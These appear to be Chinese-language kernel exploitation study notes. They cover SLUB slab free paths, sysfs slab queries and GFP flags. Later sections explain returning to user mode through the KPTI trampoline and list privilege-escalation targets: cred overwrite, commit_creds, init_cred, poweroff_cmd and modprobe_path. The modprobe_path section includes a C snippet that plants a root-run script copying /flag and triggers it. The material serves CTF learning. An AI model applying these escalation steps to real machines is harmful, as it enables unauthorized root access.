20
21
22
23
24
25
26
27
28
29
30
31
if (unlikely(slab != c->slab)) {
__slab_free(s, slab, head, tail_obj, cnt, addr);
return;
}

if (USE_LOCKLESS_FAST_PATH()) {
freelist = READ_ONCE(c->freelist);

set_freepointer(s, tail_obj, freelist);

if (unlikely(!__update_cpu_freelist_fast(s, freelist, head, tid))) {
note_cmpxchg_failure("slab_free", s, tid);
goto redo;
}
} else {
/* Update the free list under the local lock */
local_lock(&s->cpu_slab->lock);
c = this_cpu_ptr(s->cpu_slab);
if (unlikely(slab != c->slab)) {
local_unlock(&s->cpu_slab->lock);
goto redo;
}
tid = c->tid;
freelist = c->freelist;

set_freepointer(s, tail_obj, freelist);
c->freelist = head;
c->tid = next_tid(tid);

local_unlock(&s->cpu_slab->lock);
}

slowpath1

Pasted-image-20251011180053.png

首先,从分配的逻辑,我们知道,partial上的页面,没有满的页面,因为所有的分配都是将partial中的slab挪到c->slab中,然后再分配的,而满了之后,此slab会直接从c->slab移除。

slowpath1对应partial中的slab页中的object要释放的情况,由上,partial中的slab只可能是半满,被部分释放之后,直接插入slab对应的freelist指针:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
do {
if (unlikely(n)) {
spin_unlock_irqrestore(&n->list_lock, flags);
n = NULL;
}
prior = slab->freelist;
counters = slab->counters;
set_freepointer(s, tail, prior);
new.counters = counters;
was_frozen = new.frozen;
new.inuse -= cnt;
if ((!new.inuse || !prior) && !was_frozen) {
// was_frozen = 1, 所以不会进入这个分支
if (kmem_cache_has_cpu_partial(s) && !prior) {

/*
* Slab was on no list before and will be
* partially empty
* We can defer the list move and instead
* freeze it.
*/
new.frozen = 1;

} else { /* Needs to be taken off a list */

n = get_node(s, slab_nid(slab));
spin_lock_irqsave(&n->list_lock, flags);

}
}

} while (!slab_update_freelist(s, slab,
prior, counters,
head, new.counters,
"__slab_free"));
// 直接插入slab的freelist

if (likely(!n)) {
// 没有获取到n,会进入这个分支
if (likely(was_frozen)) {
// 会进入这个分支
stat(s, FREE_FROZEN);
} else if (new.frozen) {
put_cpu_partial(s, slab, 1);
stat(s, CPU_PARTIAL_FREE);
}
// 直接return
return;
}

slowpath2

Pasted-image-20251011181828.png

slowpath2对应一个满的slab中的object被释放的情况,此时,因为这个slab为满,由之前对于分配的分析,其肯定是先挂在在c->slab后,被移除了,并且设置了frozen等于0。

现在,要free其中的object,会调用put_cpu_partial将其重新纳入slab系统的管理之中,并且更新此slab的freelist。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// __slab_free
do {
if (unlikely(n)) {
spin_unlock_irqrestore(&n->list_lock, flags);
n = NULL;
}
prior = slab->freelist;
counters = slab->counters;
set_freepointer(s, tail, prior);
new.counters = counters;
was_frozen = new.frozen;
new.inuse -= cnt;
if ((!new.inuse || !prior) && !was_frozen) {
// was_frozen = 0
// 并且 !prior 为真(之前是满的), 所以会进入这个分支
if (kmem_cache_has_cpu_partial(s) && !prior) {
// 之前是满的,所以进入这个分支
// 需要纳入cpu partial管理,所以frozen
new.frozen = 1;
} else { /* Needs to be taken off a list */

n = get_node(s, slab_nid(slab));
spin_lock_irqsave(&n->list_lock, flags);

}
}

} while (!slab_update_freelist(s, slab,
prior, counters,
head, new.counters,
"__slab_free"));
// 更新freelist

if (likely(!n)) {
// 没有获取到n,会进入这个分支
if (likely(was_frozen)) {
// was_frozen = 0,所以不会进入这个分支
stat(s, FREE_FROZEN);
} else if (new.frozen) {
// 进入这个分支
put_cpu_partial(s, slab, 1);
// 放进cpu partial
stat(s, CPU_PARTIAL_FREE);
}
// 直接return
return;
}

然后我们了解一下put_cpu_partial

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
static void put_cpu_partial(struct kmem_cache *s, struct slab *slab, int drain)
{
struct slab *oldslab;
struct slab *slab_to_unfreeze = NULL;
unsigned long flags;
int slabs = 0;

local_lock_irqsave(&s->cpu_slab->lock, flags);

oldslab = this_cpu_read(s->cpu_slab->partial);

if (oldslab) {
// drain由上层传入,这里是1
if (drain && oldslab->slabs >= s->cpu_partial_slabs) {
// 如果slabs超过了cpu_partial_slabs的限制
// 我们需要unfreeze一些slab
slab_to_unfreeze = oldslab;
oldslab = NULL;
} else {
slabs = oldslab->slabs;
}
}

slabs++;
// 如果要unfreeze了,这里 slabs = 1
slab->slabs = slabs;
slab->next = oldslab; // 要unfreeze时,next为NULL

this_cpu_write(s->cpu_slab->partial, slab);
// 把新的释放的obj所在的slab放在partial的头部
local_unlock_irqrestore(&s->cpu_slab->lock, flags);
if (slab_to_unfreeze) {
__unfreeze_partials(s, slab_to_unfreeze);
// 把剩下的所有slab都unfreeze
stat(s, CPU_PARTIAL_DRAIN);
}
}

此函数会检查paritial链表上的slab页数量是否大于cpu_partial_slabs,这是一个固定的变量,我们在前面分析过其由来,以及怎么计算。

他代表着partial链表上slab的最大数量,如果要超过这个数量了,只保留这个新的要put的slab在partial链表里,其余的slab全部unfreeze。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
static void __unfreeze_partials(struct kmem_cache *s, struct slab *partial_slab)
{
struct kmem_cache_node *n = NULL, *n2 = NULL;
struct slab *slab, *slab_to_discard = NULL;
unsigned long flags = 0;

while (partial_slab) {
// 遍历链表
struct slab new;
struct slab old;

slab = partial_slab;
partial_slab = slab->next;

n2 = get_node(s, slab_nid(slab));
if (n != n2) {
if (n)
spin_unlock_irqrestore(&n->list_lock, flags);

n = n2;
spin_lock_irqsave(&n->list_lock, flags);
}

do {

old.freelist = slab->freelist;
old.counters = slab->counters;
VM_BUG_ON(!old.frozen);

new.counters = old.counters;
new.freelist = old.freelist;

new.frozen = 0;

} while (!__slab_update_freelist(s, slab,
old.freelist, old.counters,
new.freelist, new.counters,
"unfreezing slab"));
// 更新frozen为0,为返还给node做准备

if (unlikely(!new.inuse && n->nr_partial >= s->min_partial)) {
// 如果slab为空,并且node partial上的数量大于min_partial,就把这个slab加入需要返还给buddysystem的列表
slab->next = slab_to_discard;
slab_to_discard = slab;
} else {
add_partial(n, slab, DEACTIVATE_TO_TAIL);
// 否则加入node的partial双链表
stat(s, FREE_ADD_PARTIAL);
}
}

if (n)
spin_unlock_irqrestore(&n->list_lock, flags);

while (slab_to_discard) {
// 返回给buddysystem
slab = slab_to_discard;
slab_to_discard = slab_to_discard->next;

stat(s, DEACTIVATE_EMPTY);
discard_slab(s, slab);
stat(s, FREE_SLAB);
}
}

我们继续分析__unfreeze_partials,他会遍历传入的slab链表(我们将除了最新put的slab以外的整个partial链表都传入了),如果存在空的slab,并且当前node n->partial 链表上的slab数量,大于s->min_partial,就将所有空的slab通过discard_slab__free_pages的wrapper)返回给buddy system。

这里的min_partial也是我们前面分析过的成员,一般为5,node至少需要维护这么多的slab,防止频繁的向buddy system请求分配,这是一个很容易满足的条件。

slowpath3

Pasted-image-20251011185708.png

我们再来讨论最后一种情况,kmem_cache_node的partial上的slab释放其object。首先,我们知道kmem_cache_node的partial 来源是slowpath2中unfreeze了kmem_cache_cpu的partial上的slab,而此slab,正如我们在slowpath2中分析的,不可能是满的,因此,kmem_cache_node的partial上的slab只可能是半满或者空。

显然空不可以被释放,那么我们讨论半满的情况,这里有两种情况,释放后为空,或者释放后不为空,我们一一分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
// __slab_free
do {
if (unlikely(n)) {
spin_unlock_irqrestore(&n->list_lock, flags);
n = NULL;
}
prior = slab->freelist;
counters = slab->counters;
set_freepointer(s, tail, prior);
new.counters = counters;
was_frozen = new.frozen;
new.inuse -= cnt;
if ((!new.inuse || !prior) && !was_frozen) {
// was_frozen = 0
// 如果释放后为空,会进入这个分支
if (kmem_cache_has_cpu_partial(s) && !prior) {
// 之前不可能是满的
// 不会进入这个分支
new.frozen = 1;
} else { /* Needs to be taken off a list */
// 会进入这个分支
n = get_node(s, slab_nid(slab));
// 获取到n
spin_lock_irqsave(&n->list_lock, flags);

}
}

} while (!slab_update_freelist(s, slab,
prior, counters,
head, new.counters,
"__slab_free"));
// 更新freelist

if (likely(!n)) {
// 如果释放后不为空,没有获取到n,会进入这个分支
if (likely(was_frozen)) {
// 不会进入
stat(s, FREE_FROZEN);
} else if (new.frozen) {
// 不会进入
put_cpu_partial(s, slab, 1);
// 放进cpu partial
stat(s, CPU_PARTIAL_FREE);
}
// 直接return
return;
}
if (unlikely(!new.inuse && n->nr_partial >= s->min_partial))
// 如果为空会进入,不为空在上面已经返回
goto slab_empty;
// 以下的情形只有可能是设置了kmem_cache_has_cpu_partial=false,我们不考虑
if (!kmem_cache_has_cpu_partial(s) && unlikely(!prior)) {
remove_full(s, n, slab);
add_partial(n, slab, DEACTIVATE_TO_TAIL);
stat(s, FREE_ADD_PARTIAL);
}
spin_unlock_irqrestore(&n->list_lock, flags);
return;

slab_empty:
if (prior) {
// 如果之前不为满
remove_partial(n, slab);
/// 脱链,并设置nr_partial--
stat(s, FREE_REMOVE_PARTIAL);
} else {
// 之前为满,在slub系统,并且设置了kmem_cache_has_cpu_partial的kernel不可能
remove_full(s, n, slab);
// 脱链
}

spin_unlock_irqrestore(&n->list_lock, flags);
stat(s, FREE_SLAB);
discard_slab(s, slab);
// 直接返回给buddy system
  1. 如果释放后非空,只设置slab的freelist就结束
  2. 如果释放后为空,直接返还给buddy_system

查询API

linux提供了slabinfo工具帮助我们查询slab相关信息,其代码位于 tools/mm/slabinfo.c

其本质就是读取 /sys/kernel/slab 目录。

1
cat /sys/kernel/slab/[slab name]/xxx

我们简单了解一下/sys/kernel/slab目录下不同文件的含义:

查询aliases
从前文[[#kmem_cache 的分配]],我们知道某些cache可能是其他cache的aliases,那么如何查询呢?
查看/sys/kernel/slab 目录,如果某个kmem_cache的目录是其他目录的软链接,说明其实是对应kmem_cache的aliases。

查询其他信息

读取对应kmem_cache目录下的对应文件:

  • slab_size: s->size
  • align: s->alien
  • object_size: s->object_size
  • objs_per_slab: oo_objects(s->oo) (读取oo的低位置)
  • order: oo_order(s->oo)
  • min_partial: s->min_partial
  • cpu_partial: s->cpu_partial
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
 static ssize_t slab_size_show(struct kmem_cache *s, char *buf)
{
return sysfs_emit(buf, "%u\n", s->size);
}
SLAB_ATTR_RO(slab_size);

static ssize_t align_show(struct kmem_cache *s, char *buf)
{
return sysfs_emit(buf, "%u\n", s->align);
}
SLAB_ATTR_RO(align);

static ssize_t object_size_show(struct kmem_cache *s, char *buf)
{
return sysfs_emit(buf, "%u\n", s->object_size);
}
SLAB_ATTR_RO(object_size);

static ssize_t objs_per_slab_show(struct kmem_cache *s, char *buf)
{
return sysfs_emit(buf, "%u\n", oo_objects(s->oo));
}
SLAB_ATTR_RO(objs_per_slab);

static ssize_t order_show(struct kmem_cache *s, char *buf)
{
return sysfs_emit(buf, "%u\n", oo_order(s->oo));
}
SLAB_ATTR_RO(order);

static ssize_t min_partial_show(struct kmem_cache *s, char *buf)
{
return sysfs_emit(buf, "%lu\n", s->min_partial);
}

static ssize_t cpu_partial_show(struct kmem_cache *s, char *buf)
{
unsigned int nr_partial = 0;
#ifdef CONFIG_SLUB_CPU_PARTIAL
nr_partial = s->cpu_partial;
#endif

return sysfs_emit(buf, "%u\n", nr_partial);
}

aliases实际上显示的是refcount:

1
2
3
4
static ssize_t aliases_show(struct kmem_cache *s, char *buf)
{
return sysfs_emit(buf, "%d\n", s->refcount < 0 ? 0 : s->refcount - 1);
}

还有一个slabs_cpu_partial文件,可以帮助我们知道当前的c->partial的状态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
static ssize_t slabs_cpu_partial_show(struct kmem_cache *s, char *buf)
{
int objects = 0;
int slabs = 0;
int cpu __maybe_unused;
int len = 0;

#ifdef CONFIG_SLUB_CPU_PARTIAL
for_each_online_cpu(cpu) {
struct slab *slab;

slab = slub_percpu_partial(per_cpu_ptr(s->cpu_slab, cpu));

if (slab)
slabs += slab->slabs;
}
#endif

/* Approximate half-full slabs, see slub_set_cpu_partial() */
objects = (slabs * oo_objects(s->oo)) / 2;
len += sysfs_emit_at(buf, len, "%d(%d)", objects, slabs);

#ifdef CONFIG_SLUB_CPU_PARTIAL
for_each_online_cpu(cpu) {
struct slab *slab;

slab = slub_percpu_partial(per_cpu_ptr(s->cpu_slab, cpu));
if (slab) {
slabs = READ_ONCE(slab->slabs);
objects = (slabs * oo_objects(s->oo)) / 2;
len += sysfs_emit_at(buf, len, " C%d=%d(%d)",
cpu, objects, slabs);
}
}
#endif
len += sysfs_emit_at(buf, len, "\n");

return len;
}

首先,它会输出所有kmem_cache_cpu->partial上的 「objects数量(slab数量)」,这里的object数量是按照半满估算的。然后,它会输出每个cpu上的「cpu编号=objects数量(slab数量)」。

还有partial文件夹,他输出的是node的partial上所有的slab数量。

还有对应的objects_partial,输出node的partial上所有的object数量。

内核与用户态切换

在没有开启KPTI时,内核与用户态的切换可以通过:

1
2
3
4
5
6
7
8
9
10
swapgs
iretq
// -----------------
栈需要如下布置:
user_rip
user_cs : 0x33
user_eflags
user_sp
user_ss : 0x2b
// -----------------

ref: https://juejin.cn/post/7332067091368263732
在x86_64架构中,提供了两个GS基址寄存器,分别是 IA32_GS_BASE 和 IA32_KERNEL_GS_BASE,其中IA32_KERNEL_GS_BASE只用于内核寻址,IA32_GS_BASE 用于用户态寻址。这两个都是 MSR (MODEL-SPECIFIC REGISTER)寄存器,其中 IA32_GS_BASE 寄存器只是对原有 GS 寄存器中隐藏部分 gs.base 的简单映射,或者说起了个别名。当进程从用户态进入内核态时,需要使用 swapgs指令将 IA32_KERNEL_GS_BASE寄存器中的内容加载 gs.base,使其指向内核专用地址;反之,进程离开内核态进入用户态时,同样需要使用 swapgs指令将 IA32_GS_BASE 寄存器中的内容加载至 gs.base。

IA32_KERNEL_GS_BASE实际上指向per_cpu 区域,这是一个有意思的特性,在内核shellcode中,时常会有些妙用

在os课程上,我们都学到了,指令执行的权限(ring0 or ring3)是由段描述符决定的,iretq用来切换段寄存器,将内核的cs和ss段描述符改为用户态段描述符

在开启KPTI后用户态与内核态度的切换还需要改变cr3寄存器(指向页表)

ref: https://www.anquanke.com/post/id/240006
为了实现 PGD的切换,内核增加了一组宏用来在进程进行用户态、内核态切换时进行页表切换。一个进程的内核态PGD(4k)和用户态 PGD(4K)一起形成了一个8K的 PGD。当中断发生时,内核使用切换 CR3寄存器来实现从用户态地址空间切换到内核态的地址空间。CR3的 bit47-bit11为 PGD的物理地址,最低为 bit12用于进行 PGD切换;bit12=0为内核态PGDbit12=1为用户态 PGD

1
2
3
mov     rdi, cr3
or rdi, 1000h
mov cr3, rdi

但是显然直接改变页表是不行的,如果直接切换cr3寄存器, 正在内核态的代码就会pagefault了,因为在存在KPTI的情况下,用户态页表是没有内核态的完整映射的, 只有一部分用于切换内核和用户态的代码和数据(trampoline mapping)的映射,所以,这里介绍swapgs_restore_regs_and_return_to_usermode 的实现

此函数会首先从gs的偏移处获取一个存在于用户态页表映射的栈地址,然后跳转到存在于用户态页表映射中的trampoline mapping地址,在此时,修改cr3,不影响继续运行,再使用swapgs iretq 返回用户态

因此,可以使用swapgs_restore_regs_and_return_to_usermode 来返回用户态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
; `swapgs_restore_regs_and_return_to_usermode`
0xffffffffb9800f10: pop r15
0xffffffffb9800f12: pop r14
0xffffffffb9800f14: pop r13
0xffffffffb9800f16: pop r12
0xffffffffb9800f18: pop rbp
0xffffffffb9800f19: pop rbx
0xffffffffb9800f1a: pop r11
0xffffffffb9800f1c: pop r10
0xffffffffb9800f1e: pop r9
0xffffffffb9800f20: pop r8
0xffffffffb9800f22: pop rax
0xffffffffb9800f23: pop rcx
0xffffffffb9800f24: pop rdx
0xffffffffb9800f25: pop rsi
0xffffffffb9800f26: mov rdi,rsp // from this
0xffffffffb9800f29: mov rsp,QWORD PTR gs:0x6004
0xffffffffb9800f32: push QWORD PTR [rdi+0x30]
0xffffffffb9800f35: push QWORD PTR [rdi+0x28]
0xffffffffb9800f38: push QWORD PTR [rdi+0x20]
0xffffffffb9800f3b: push QWORD PTR [rdi+0x18]
0xffffffffb9800f3e: push QWORD PTR [rdi+0x10]
0xffffffffb9800f41: push QWORD PTR [rdi]
0xffffffffb9800f43: push rax
0xffffffffb9800f44: xchg ax,ax
0xffffffffb9800f46: mov rdi,cr3
0xffffffffb9800f49: jmp 0xffffffffb9800f7f
0xffffffffb9800f4b: mov rax,rdi
0xffffffffb9800f4e: and rdi,0x7ff

考虑从图中 0xffffffffb9800f26 开始,栈空间如下布置(dammy长度不固定,一般是0x10或者0x8,可以调试看看iretq的运行情况)

1
2
3
4
5
6
dammy
user_rip
user_cs
user_eflag
user_sp
user_ss

LKM

环境准备

Linux 内核模块被精确地定义为能够根据需要在内核内动态加载和卸载的代码段。这些模块增强了内核功能,而无需重新启动系统。设备驱动程序模块中有一个值得注意的示例,它促进了内核与链接到系统的硬件组件的交互。在没有模块的情况行的方法倾向于单片内核,需要将新功能直接集成到内核映像中。这种方法会导致更大的内核,并且需要内核重建并在需要新功能时重新启动系统。

LKM是内核中可以按需加载的代码段,编译好的内核模块会有.ko的后缀,但其本质是一个elf文件。

为了编译内核模块我们需要指定内核源代码,如果是本机的内核代码,可能使用包管理器安装kernel-header和kernel-devel包。

每个内核模块都有编译时的内核version的签名,为了我们的内核模块能在我们指定的内核上运行,我们指定特定的源代码版本来编译。

为了进行编译,在对应的源代码目录下,我们需要先编译好内核镜像和modules

1
2
make bzImage
make modules # 必须编译,否则后面使用-C参数指定时会无法识别

为了能在vscode中显示正确的高亮:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
{
"configurations": [
{
"name": "linux-gcc-x64",
"includePath": [
"${workspaceFolder}/linux-6.6.108/include",
"${workspaceFolder}/linux-6.6.108/arch/x86/include/generated/",
"${workspaceFolder}/linux-6.6.108/arch/x86/include/"
],
"compilerPath": "/usr/sbin/gcc",
"cStandard": "${default}",
"cppStandard": "${default}",
"intelliSenseMode": "linux-gcc-x64",
"compilerArgs": [
""
],
"defines": [
"__KERNEL__",
"MODULE"
]
}
],
"version": 4
}

增加 __KERNEL__MODULE 宏,还有includePath,增加对应的header。

#TODO

信息搜集

  1. 查看内核版本
1
cat /proc/version
  1. 检查各种基础保护
  • 启动脚本
    • pti=on
    • smep,smap
    • kaslr
  • .config
  • 检查分配方式

Target

以下部分来自 ctf-wiki, 笔者会添加一些自己的理解。

modify cred

内核pwn的大部分目标都是实现提权,而一个进程的权限是由其对应的cred结构体决定的,因此。

kernel通过task_struct 中的cred的指针来索引cred结构体,
更进一步地,通过cred的结构体来识别当前user,因此可以通过修改当前cred结构体或者task_struct的指针来达成提权的效果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
...
}

直接定位cred

更进一步的, 笔者认为,UASM 也许可以用在page level uaf中(由于笔者太菜了,暂时先码着)。

当拥有内存读写的能力后,可以通过在内存中搜索magic 来查找cred结构体。

// 笔者尝试搜索后,发现不知道为什么,有些cred结构体,magic字段为空 #TODO

笔者给出另一个cred定位方法,在内核态下, GS 段 存储着进程相关控制信息,在其固定偏移,可以找到当前cred结构体的指针。

当然,显然大部分情况,是基本不可能找到恰好访问gs目标偏移地址的gadget的,因此这个方法并不是非常实用。

commit_creds

commit_creds() 函数被用以将一个新的 cred 设为当前进程 task_struct 的 real_cred 与 cred 字段,因此若是我们能够劫持内核执行流调用该函数并传入一个具有 root 权限的 cred,则能直接完成对当前进程的提权工作

// 笔者目前还没有看过commit_creds()的源代码,并不清楚对cred有哪些检查
// 在笔者看来,如果没有限制 传入的creds必须是相应 slab_account 的话,其实可以自己找一块内存区域来写

prepare_kernel_cred()

在内核当中提供了 prepare_kernel_cred() 函数用以拷贝指定进程的 cred 结构体,当我们传入的参数为 NULL 时,该函数会拷贝 init_cred 并返回一个有着 root 权限的 cred:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
struct cred *new;

new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;

kdebug("prepare_kernel_cred() alloc %p", new);

if (daemon)
old = get_task_cred(daemon);
else
old = get_cred(&init_cred);

我们不难想到的是若是我们可以在内核空间中调用 commit_creds(prepare_kernel_cred(NULL)),则也能直接完成提权的工作

不过自从内核版本 6.2 起,prepare_kernel_cred(NULL) 将不再拷贝 init_cred,而是将其视为一个运行时错误并返回 NULL,这使得这种提权方法无法再应用于 6.2 及更高版本的内核

init_cred

在内核初始化过程当中会以 root 权限启动 init 进程,其 cred 结构体为静态定义的 init_cred,由此不难想到的是我们可以通过 commit_creds(&init_cred) 来完成提权的工作

// 一个问题是,在高版本,init_cred本身不再作为一个符号导出,因此你直接
// kallsyms-finder 是找不到相应地址的
// 一个直接的方法是,在相应版本linux源代码里面直接搜索符号引用
// 可以在内核代码段里面找到相应地址

// 这个方法不仅仅可以用于init_cred,一切内核data段的匿名结构体都可以通过这个方法查找, 除非内核在写的时候本身就没有直接访问

modprobe_path

modprobe 是linux的一个用于执行不确定格式文件的一个机制,其会以root权限使用modprobe_path指向的解释器来实现相对应的程序,如果我们能够劫持相关的程序,就能以root权限执行一个程序,从而提权

  1. 获取 modprobe_path 的地址。
  2. 修改 modprobe_path 为指定的程序。
  3. 触发执行 call_modprobe,从而实现提权 。这里我们可以利用以下几种方式来触发
    1. 执行一个非法的可执行文件。非法的可执行文件需要满足相应的要求(参考 call_usermodehelper 部分的介绍)。
    2. 使用未知协议来触发。
1
2
3
4
5
6
7
8
9
10
11
12
13
// step 1. modify modprobe_path to the target value

// step 2. create related file
system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag\ncat flag' > /home/pwn/catflag.sh");
system("chmod +x /home/pwn/catflag.sh");

// step 3. trigger it using unknown executable
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy");
system("chmod +x /home/pwn/dummy");
system("/home/pwn/dummy");

// step 3. trigger it using unknown protocol
socket(AF_INET,SOCK_STREAM,132);

在这个过程中,我们着重关注下如何定位 modprobe_path。

直接定位

由于 modprobe_path 的取值是确定的,所以我们可以直接扫描内存,寻找对应的字符串。这需要我们具有扫描内存的能力。

间接定位

考虑到 modprobe_path 相对于内核基地址的偏移是固定的,我们可以先获取到内核的基地址,然后根据相对偏移来得到 modprobe_path 的地址。

poweroff_cmd

类似于modprobe_path

  1. 修改 poweroff_cmd 为指定的程序。
  2. 劫持控制流执行 __orderly_poweroff

关于如何定位 poweroff_cmd,我们可以采用类似于定位 modprobe_path 的方法。

一些宏

以下列出了常用的一些宏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#define ___GFP_DMA		0x01u
#define ___GFP_HIGHMEM 0x02u
#define ___GFP_DMA32 0x04u
#define ___GFP_MOVABLE 0x08u
#define ___GFP_RECLAIMABLE 0x10u
#define ___GFP_HIGH 0x20u
#define ___GFP_IO 0x40u
#define ___GFP_FS 0x80u
#define ___GFP_ZERO 0x100u
/* 0x200u unused */
#define ___GFP_DIRECT_RECLAIM 0x400u
#define ___GFP_KSWAPD_RECLAIM 0x800u
#define ___GFP_WRITE 0x1000u
#define ___GFP_NOWARN 0x2000u
#define ___GFP_RETRY_MAYFAIL 0x4000u
#define ___GFP_NOFAIL 0x8000u
#define ___GFP_NORETRY 0x10000u
#define ___GFP_MEMALLOC 0x20000u
#define ___GFP_COMP 0x40000u
#define ___GFP_NOMEMALLOC 0x80000u
#define ___GFP_HARDWALL 0x100000u
#define ___GFP_THISNODE 0x200000u
#define ___GFP_ACCOUNT 0x400000u
#define ___GFP_ZEROTAGS 0x800000u
#ifdef CONFIG_KASAN_HW_TAGS
#define ___GFP_SKIP_ZERO 0x1000000u
#define ___GFP_SKIP_KASAN 0x2000000u
#else
#define ___GFP_SKIP_ZERO 0
#define ___GFP_SKIP_KASAN 0
#endif
#ifdef CONFIG_LOCKDEP
#define ___GFP_NOLOCKDEP 0x4000000u
#else
#define ___GFP_NOLOCKDEP 0
#endif
1
2
3
4
5
6
#define __GFP_DMA	((__force gfp_t)___GFP_DMA)
#define __GFP_HIGHMEM ((__force gfp_t)___GFP_HIGHMEM)
#define __GFP_DMA32 ((__force gfp_t)___GFP_DMA32)
#define __GFP_MOVABLE ((__force gfp_t)___GFP_MOVABLE) /* ZONE_MOVABLE allowed */
#define GFP_ZONEMASK (__GFP_DMA|__GFP_HIGHMEM|__GFP_DMA32|__GFP_MOVABLE)

1
2
3
4
5
#define __GFP_RECLAIMABLE ((__force gfp_t)___GFP_RECLAIMABLE)
#define __GFP_WRITE ((__force gfp_t)___GFP_WRITE)
#define __GFP_HARDWALL ((__force gfp_t)___GFP_HARDWALL)
#define __GFP_THISNODE ((__force gfp_t)___GFP_THISNODE)
#define __GFP_ACCOUNT ((__force gfp_t)___GFP_ACCOUNT)
1
2
3
#define __GFP_HIGH	((__force gfp_t)___GFP_HIGH)
#define __GFP_MEMALLOC ((__force gfp_t)___GFP_MEMALLOC)
#define __GFP_NOMEMALLOC ((__force gfp_t)___GFP_NOMEMALLOC)
1
2
3
4
5
6
7
8
#define __GFP_IO	((__force gfp_t)___GFP_IO)
#define __GFP_FS ((__force gfp_t)___GFP_FS)
#define __GFP_DIRECT_RECLAIM ((__force gfp_t)___GFP_DIRECT_RECLAIM) /* Caller can reclaim */
#define __GFP_KSWAPD_RECLAIM ((__force gfp_t)___GFP_KSWAPD_RECLAIM) /* kswapd can wake */
#define __GFP_RECLAIM ((__force gfp_t)(___GFP_DIRECT_RECLAIM|___GFP_KSWAPD_RECLAIM))
#define __GFP_RETRY_MAYFAIL ((__force gfp_t)___GFP_RETRY_MAYFAIL)
#define __GFP_NOFAIL ((__force gfp_t)___GFP_NOFAIL)
#define __GFP_NORETRY ((__force gfp_t)___GFP_NORETRY)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#define __GFP_NOWARN ((__force gfp_t)___GFP_NOWARN)
#define __GFP_COMP ((__force gfp_t)___GFP_COMP)
#define __GFP_ZERO ((__force gfp_t)___GFP_ZERO)
#define __GFP_ZEROTAGS ((__force gfp_t)___GFP_ZEROTAGS)
#define __GFP_SKIP_ZERO ((__force gfp_t)___GFP_SKIP_ZERO)
#define __GFP_SKIP_KASAN ((__force gfp_t)___GFP_SKIP_KASAN)

/* Disable lockdep for GFP context tracking */
#define __GFP_NOLOCKDEP ((__force gfp_t)___GFP_NOLOCKDEP)

/* Room for N __GFP_FOO bits */
#define __GFP_BITS_SHIFT (26 + IS_ENABLED(CONFIG_LOCKDEP))
#define __GFP_BITS_MASK ((__force gfp_t)((1 << __GFP_BITS_SHIFT) - 1))

#define GFP_ATOMIC (__GFP_HIGH | __GFP_KSWAPD_RECLAIM)
#define GFP_KERNEL (__GFP_RECLAIM | __GFP_IO | __GFP_FS)
#define GFP_KERNEL_ACCOUNT (GFP_KERNEL | __GFP_ACCOUNT)
#define GFP_NOWAIT (__GFP_KSWAPD_RECLAIM)
#define GFP_NOIO (__GFP_RECLAIM)
#define GFP_NOFS (__GFP_RECLAIM | __GFP_IO)
#define GFP_USER (__GFP_RECLAIM | __GFP_IO | __GFP_FS | __GFP_HARDWALL)
#define GFP_DMA __GFP_DMA
#define GFP_DMA32 __GFP_DMA32
#define GFP_HIGHUSER (GFP_USER | __GFP_HIGHMEM)
#define GFP_HIGHUSER_MOVABLE (GFP_HIGHUSER | __GFP_MOVABLE | __GFP_SKIP_KASAN)
#define GFP_TRANSHUGE_LIGHT ((GFP_HIGHUSER_MOVABLE | __GFP_COMP | \
__GFP_NOMEMALLOC | __GFP_NOWARN) & \
~__GFP_RECLAIM)
#define GFP_TRANSHUGE (GFP_TRANSHUGE_LIGHT | __GFP_DIRECT_RECLAIM)

此部分来自 https://elixir.bootlin.com/linux/v6.7.8/source/include/linux/gfp_types.h

如果需要快速知道对应的宏的值,可以直接用C 来 printf

